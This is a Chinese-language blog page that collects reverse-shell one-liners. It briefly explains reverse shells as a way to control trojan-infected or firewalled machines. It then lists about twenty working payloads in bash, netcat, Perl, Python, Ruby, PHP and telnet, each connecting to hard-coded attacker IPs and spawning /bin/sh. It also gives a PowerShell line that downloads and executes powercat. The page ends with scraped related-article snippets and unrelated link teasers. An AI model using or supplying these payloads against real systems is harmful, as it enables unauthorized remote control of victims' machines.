反弹shell集锦
1. 关于反弹shell
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
2. 反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2)它的ip会动态改变,你不能持续控制。
3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
3.反弹shell集锦
@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
@/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
@/bin/sh | nc 10.104.11.107 9007 @perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9009");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' @python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
@python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" @ruby -rsocket -e'f=TCPSocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' @mknod backpipe p && telnet 173.214.173.151 8080 0backpipe @php -r '$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");' @rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f #本地监听两个端口,通过管道,一处输入,一处输出
@nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999
@shell.py
@shell.pl
@shell2.pl 1.perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9002");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f
3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe
4.perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
5./bin/sh | nc 10.104.11.107 9007
6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
7.ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 1.1.1.1 -p -e cmd
反弹shell集锦的更多相关文章
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- 内网渗透中的反弹Shell与端口转发
from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...
- NC / Netcat - 反弹Shell
原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- linux反弹shell
参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...
- python shell与反弹shell
python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- golang写的反弹shell(自作孽不可活,切记,切记!)
仅作安全研究 package main import ( "os/exec" "go-pop3" "log" "strings&q ...
- 使用DnsCat反弹shell
DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 # ...
随机推荐
- 优秀前端工程师必备: (总结) 清除原生ios按钮样式
写移动端的web开发时, 需要清除IOS本身的各种样式: 1.消除ios按钮原生样式, 给按钮加自定义样式: input[type="button"], input[type=&q ...
- msf、armitage
msfconsole的命令: msfconsole use module :这个命令允许你开始配置所选择的模块. set optionname module :这个命令允许你为指定的模块配置不同的选项 ...
- C# 生成dll文件 并导入使用
首先 在unity创建一个脚本 并编写内容,其中需要调用的方法.变量要公有化(也可以直接新建cs文件用编译器打开编译,但要先导入UnityEngine.dll). 然后,复制脚本关闭unity,在外界 ...
- Animation(动画效果)
Ctrl+6打开Animation窗口.选择物体,点击录制,保存录制文件后即为给该物体添加了动画效果. Animation可以修改某时间点的物体位置.大小.材质球上的所有属性.碰撞器等等. 可以通过修 ...
- centos7 安装dnf包管理器和常用命令
Installing DNF Currently the DNF package comes from the EPEL repository, so if your Linux system is ...
- Nexys4 DDR MIG控制器引脚文件
目前网上只有ucf文件,vivado不兼容ucf格式 使用c++字符串转换的xdc格式代码 set_property -dict { PACKAGE_PIN R7 IOSTANDARD SSTL18_ ...
- AI_图像识别
http://ai.baidu.com/forum/topic/show/595938 经测试识别率相当高,车辆信息识别 文中的import cv2不是python3自带库,需要安装pip3 inst ...
- C++静态成员和非静态成员的区别和使用
C++静态成员和非静态成员的区别和使用 对象与对象之间的成员变量是相互独立的.要想共用数据,则需要使用静态成员和静态方法. 只要在类中声明静态成员变量,即使不定义对象,也可以为静态成员变量分配空间,进 ...
- .net core session cookie操作
配置Session Cookie注意
- python 中使用 urllib2 伪造 http 报头的2个方法
方法1. ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #!/usr/bin/pyth ...